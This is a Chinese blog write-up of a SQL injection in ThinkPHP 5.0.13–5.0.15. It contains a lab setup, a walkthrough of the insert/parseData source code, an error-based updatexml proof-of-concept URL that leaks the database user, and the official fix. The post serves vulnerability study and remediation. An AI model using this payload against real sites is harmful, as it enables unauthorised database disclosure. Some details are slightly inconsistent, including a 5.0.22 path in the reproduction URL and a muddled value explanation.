ThinkPHP 5.0.15 SQL注入漏洞

漏洞简介

漏洞成因主要是因为构造sql语句的时候使用了字符拼接,然后对参数的处理不够严格导致恶意字符串插入到sql语句中。

poc

http://127.0.0.1:8000/?username[0]=inc&username[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&username[2]=1

漏洞影响版本:

  • 5.0.13<=ThinkPHP<=5.0.15

环境配置

  1. 安装thinkphp5.0.15
  2. 创建并连接数据库
create database data;
use data;
create table users(
	id int primary key auto_increment,
	username varchar(50) not null
  1. 在 /application/config.php中开启app_debug和 app_trace选项

image-20240903191017480

  1. 在thinkphp的Index控制器中插入以下代码
        $username = request()->get('username/a');
        $res = db('users')->insert(['username' => $username]);
        var_dump($res);

模拟用户注册时将用户名写入数据库的功能

代码审计

第一部分:处理输入

首先会在Index控制器里进入get()方法

index()

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        $username = request()->get('username/a');
        $res = db('users')->insert(['username' => $username]);
        var_dump($res);
        return '<style type="text/css">*{ padding: 0; margin: 0; } .think_default_text{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:)</h1><p> ThinkPHP V5<br/><span style="font-size:30px">十年磨一剑 - 为API开发设计的高性能框架</span></p><span style="font-size:22px;">[ V5.0 版本由 <a href="http://www.qiniu.com" target="qiniu">七牛云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ad_bd568ce7058a1091"></think>';

    }
}

首先这里get请求了一个参数username,然后传给了get()方法(这个方法其实就是进行数据过滤和处理的)。并将返回结果赋值给了$username,然后传给了insert()函数,显然这个insert()函数是一个与数据库操作有关的函数。如果能通过get函数表明我们就能控制insert()函数的参数了。

  • /a表示转换为数组
  • 注:插入的语句必须在return之前,不然不会执行

get()

    public function get($name = '', $default = null, $filter = '')
    {
        if (empty($this->get)) {
            $this->get = $_GET;
        }
        if (is_array($name)) {
            $this->param      = [];
            $this->mergeParam = false;
            return $this->get = array_merge($this->get, $name);
        }
        return $this->input($this->get, $name, $default, $filter);
    }

由于name参数不是数组,于是就不会进if循环,而是会调用下面的input()方法

input()

    /**
     * 获取变量 支持过滤和默认值
     * @param array        $data    数据源
     * @param string|false $name    字段名
     * @param mixed        $default 默认值
     * @param string|array $filter  过滤函数
     * @return mixed
     */
    public function input($data = [], $name = '', $default = null, $filter = '')
    {
        if (false === $name) {
            // 获取原始数据
            return $data;
        }
        $name = (string) $name;
        if ('' != $name) {
            // 解析name
            if (strpos($name, '/')) {
                list($name, $type) = explode('/', $name);
            } else {
                $type = 's';
            }
            // 按.拆分成多维数组进行判断
            foreach (explode('.', $name) as $val) {
                if (isset($data[$val])) {
                    $data = $data[$val];
                } else {
                    // 无输入数据,返回默认值
                    return $default;
                }
            }
            if (is_object($data)) {
                return $data;
            }
        }

        // 解析过滤器
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            reset($data);
        } else {
            $this->filterValue($data, $name, $filter);
        }

        if (isset($type) && $data !== $default) {
            // 强制类型转换
            $this->typeCast($data, $type);
        }
        return $data;
    }

在这个input方法中主要调用了filterValue()和filterExp()来对输入进行一个检测,然后调用typeCast()将数据强制转换为数组,最后将处理过滤后的数据返回.

以下是上面提到的三个函数。

filterValue()

    /**
     * 递归过滤给定的值
     * @param mixed $value   键值
     * @param mixed $key     键名
     * @param array $filters 过滤方法+默认值
     * @return mixed
     */
    private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);
        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);
            } elseif (is_scalar($value)) {
                if (false !== strpos($filter, '/')) {
                    // 正则过滤
                    if (!preg_match($filter, $value)) {
                        // 匹配不成功返回默认值
                        $value = $default;
                        break;
                    }
                } elseif (!empty($filter)) {
                    // filter函数不存在时, 则使用filter_var进行过滤
                    // filter为非整形值时, 调用filter_id取得过滤id
                    $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
                    if (false === $value) {
                        $value = $default;
                        break;
                    }
                }
            }
        }
        return $this->filterExp($value);
    }

filterExp()

    /**
     * 过滤表单中的表达式
     * @param string $value
     * @return void
     */
    public function filterExp(&$value)
    {
        // 过滤查询特殊字符
        if (is_string($value) && preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT LIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOT EXISTS|NOTEXISTS|EXISTS|NOT NULL|NOTNULL|NULL|BETWEEN TIME|NOT BETWEEN TIME|NOTBETWEEN TIME|NOTIN|NOT IN|IN)$/i', $value)) {
            $value .= ' ';
        }
        // TODO 其他安全过滤
    }

typeCast()

    /**
     * 强制类型转换
     * @param string $data
     * @param string $type
     * @return mixed
     */
    private function typeCast(&$data, $type)
    {
        switch (strtolower($type)) {
            // 数组
            case 'a':
                $data = (array) $data;
                break;
            // 数字
            case 'd':
                $data = (int) $data;
                break;
            // 浮点
            case 'f':
                $data = (float) $data;
                break;
            // 布尔
            case 'b':
                $data = (boolean) $data;
                break;
            // 字符串
            case 's':
            default:
                if (is_scalar($data)) {
                    $data = (string) $data;
                } else {
                    throw new \InvalidArgumentException('variable type error:' . gettype($data));
                }
        }
    }

第二部分:初始化mysql

回到最开始,代码在执行insert()函数之前还调用了db('users')来对数据库进行初始化,这里的参数users表示指定表名为'users'.

db()

    /**
     * 实例化数据库类
     * @param string        $name 操作的数据表名称(不含前缀)
     * @param array|string  $config 数据库配置参数
     * @param bool          $force 是否强制重新连接
     * @return \think\db\Query
     */
    function db($name = '', $config = [], $force = false)
    {
        return Db::connect($config, $force)->name($name);
    }
}

这里直接调了Db::connect()获取数据库对象,紧接着调用了这个对象的name()方法

connect()

    /**
     * 数据库初始化,并取得数据库类实例
     * @access public
     * @param  mixed       $config 连接配置
     * @param  bool|string $name   连接标识 true 强制重新连接
     * @return Connection
     * @throws Exception
     */
    public static function connect($config = [], $name = false)
    {
        if (false === $name) {
            $name = md5(serialize($config));
        }

        if (true === $name || !isset(self::$instance[$name])) {
            // 解析连接参数 支持数组和字符串
            $options = self::parseConfig($config);

            if (empty($options['type'])) {
                throw new \InvalidArgumentException('Undefined db type');
            }

            $class = false !== strpos($options['type'], '\\') ?
            $options['type'] :
            '\\think\\db\\connector\\' . ucwords($options['type']);

            // 记录初始化信息
            if (App::$debug) {
                Log::record('[ DB ] INIT ' . $options['type'], 'info');
            }

            if (true === $name) {
                $name = md5(serialize($config));
            }

            self::$instance[$name] = new $class($options);
        }

        return self::$instance[$name];
    }

在这个函数中我们会进入第二个if循环,最终返回mysql实例化对象

然后就是调用name()方法,参数$name就是表名user

但是由于mysql类中没有name方法,于是会触发调用其父类(thinkphp/library/think/db/Connection.php)的__call()魔术方法

__call()

    public function __call($method, $args)
    {
        return call_user_func_array([$this->getQuery(), $method], $args);
    }

这个方法会调用call_user_func_array()动态调用getQuery()函数,并返回一个

Query对象,然后再去调Query的name方法

getQuery()

    protected function getQuery()
    {
        $class = $this->config['query'];
        return new $class($this);
    }

Quey::name()

    public function name($name)
    {
        $this->name = $name;
        return $this;
    }

至此数据库的初始化就完成了

第三部分:sql查询

这里就是调用insert()来插入数据了,这里我们的参数是可控的

insert()

    /**
     * 插入记录
     * @access public
     * @param mixed   $data         数据
     * @param boolean $replace      是否replace
     * @param boolean $getLastInsID 返回自增主键
     * @param string  $sequence     自增序列名
     * @return integer|string
     */
    public function insert(array $data = [], $replace = false, $getLastInsID = false, $sequence = null)
    {
        // 分析查询表达式
        $options = $this->parseExpress();
        $data    = array_merge($options['data'], $data);
        // 生成SQL语句
        $sql = $this->builder->insert($data, $options, $replace);
        // 获取参数绑定
        $bind = $this->getBind();
        if ($options['fetch_sql']) {
            // 获取实际执行的SQL语句
            return $this->connection->getRealSql($sql, $bind);
        }

        // 执行操作
        $result = 0 === $sql ? 0 : $this->execute($sql, $bind, $this);
        if ($result) {
            $sequence  = $sequence ?: (isset($options['sequence']) ? $options['sequence'] : null);
            $lastInsId = $this->getLastInsID($sequence);
            if ($lastInsId) {
                $pk = $this->getPk($options);
                if (is_string($pk)) {
                    $data[$pk] = $lastInsId;
                }
            }
            $options['data'] = $data;
            $this->trigger('after_insert', $options);

            if ($getLastInsID) {
                return $lastInsId;
            }
        }
        return $result;
    }

这个函数就是处理sql查询的主函数,我们要关注的函数是builder::insert(),也就是生成sql语句的函数

builder::insert()

    /**
     * 生成insert SQL
     * @access public
     * @param array     $data 数据
     * @param array     $options 表达式
     * @param bool      $replace 是否replace
     * @return string
     */
    public function insert(array $data, $options = [], $replace = false)
    {
        // 分析并处理数据
        $data = $this->parseData($data, $options);
        if (empty($data)) {
            return 0;
        }
        $fields = array_keys($data);
        $values = array_values($data);

        $sql = str_replace(
            ['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%'],
            [
                $replace ? 'REPLACE' : 'INSERT',
                $this->parseTable($options['table'], $options),
                implode(' , ', $fields),
                implode(' , ', $values),
                $this->parseComment($options['comment']),
            ], $this->insertSql);

        return $sql;
    }

这个函数主要逻辑就是先调用parseData()来处理数据,然后$fields = array_keys($data);来获取$data的所有键名,$values = array_values($data);来获取$data的所有值,最后用str_replace()拼接关键词,构造最终的sql语句。

parseData()

    /**
     * 数据分析
     * @access protected
     * @param array     $data 数据
     * @param array     $options 查询参数
     * @return array
     * @throws Exception
     */
    /**
     * 数据分析
     * @access protected
     * @param array     $data 数据
     * @param array     $options 查询参数
     * @return array
     * @throws Exception
     */
    protected function parseData($data, $options)
    {
        if (empty($data)) {
            return [];
        }

        // 获取绑定信息
        $bind = $this->query->getFieldsBind($options['table']);
        if ('*' == $options['field']) {
            $fields = array_keys($bind);
        } else {
            $fields = $options['field'];
        }

        $result = [];
        foreach ($data as $key => $val) {
            if ('*' != $options['field'] && !in_array($key, $fields, true)) {
                continue;
            }

            $item = $this->parseKey($key, $options, true);
            if ($val instanceof Expression) {
                $result[$item] = $val->getValue();
                continue;
            } elseif (is_object($val) && method_exists($val, '__toString')) {
                // 对象数据写入
                $val = $val->__toString();
            }
            if (false === strpos($key, '.') && !in_array($key, $fields, true)) {
                if ($options['strict']) {
                    throw new Exception('fields not exists:[' . $key . ']');
                }
            } elseif (is_null($val)) {
                $result[$item] = 'NULL';
            } elseif (is_array($val) && !empty($val)) {
                switch (strtolower($val[0])) {
                    case 'inc':
                        $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
                        break;
                    case 'dec':
                        $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
                        break;
                    case 'exp':
                        $result[$item] = $val[1];
                        break;
                }
            } elseif (is_scalar($val)) {
                // 过滤非标量数据
                if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) {
                    $result[$item] = $val;
                } else {
                    $key = str_replace('.', '_', $key);
                    $this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
                    $result[$item] = ':data__' . $key;
                }
            }
        }
        return $result;
    }

它对$data数组做了一个foreach循环,这里满足is_array($val) && !empty($val)所以会进入switch语句,如果$var[0]='inc'那么就会调用

parseKey()对$key[0]进行处理,但其实parseKey()并没有对数据进行过滤,还是会返回初始值,再来看floatval()函数,它会将参数转换为浮点数类型,那么它返回的值就是:$key[0] + $val[1]

也就是:username + updatexml(1,concat(0x7e,user(),0x7e),1)

表示在username字段下增加数据updatexml(1,concat(0x7e,user(),0x7e),1)

接下来这两段代码获取$data的键和值

        $fields = array_keys($data);	//uername
        $values = array_values($data);	//updatexml(1,concat(0x7e,user(),0x7e),1)+1

然后调用str_replace()函数将初始的sql语句进行替换关键词

    protected $insertSql    = '%INSERT% INTO %TABLE% (%FIELD%) VALUES (%DATA%) %COMMENT%';

替换后,我们构造的sql语句就是

INSERT INTO `users` (`username`) VALUES (updatexml(1,concat(0x7e,user(),0x7e),1)+1)

漏洞复现

poc

http://localhost/think-5.0.22/public/index.php?username[0]=inc&username[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&username[2]=1

image-20240903195959964

修复方案

官方的修复方案是修改parseData()switch语句的逻辑

                switch (strtolower($val[0])) {
                    case 'inc':
                        $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
                        break;
                    case 'dec':
                        $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
                        break;
                    case 'exp':
                        $result[$item] = $val[1];
                        break;
                }

改为(5.0.16的修复方法)

                switch (strtolower($val[0])) {
                    case 'inc':
                        if ($key == $val[1]) {
                        $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
                        }
                        break;
                    case 'dec':
                        if ($key == $val[1]) {
                        $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
                        }
                        break;
                    case 'exp':
						$result[$item] = $val[1];
						break
                }

多加了个if判断,$key == $val[1],这里的$key为键名是固定的,就导致没办法在$val[1])处传恶意代码

posted @ 2024-09-03 20:43  Litsasuk  阅读(206)  评论(0)    收藏  举报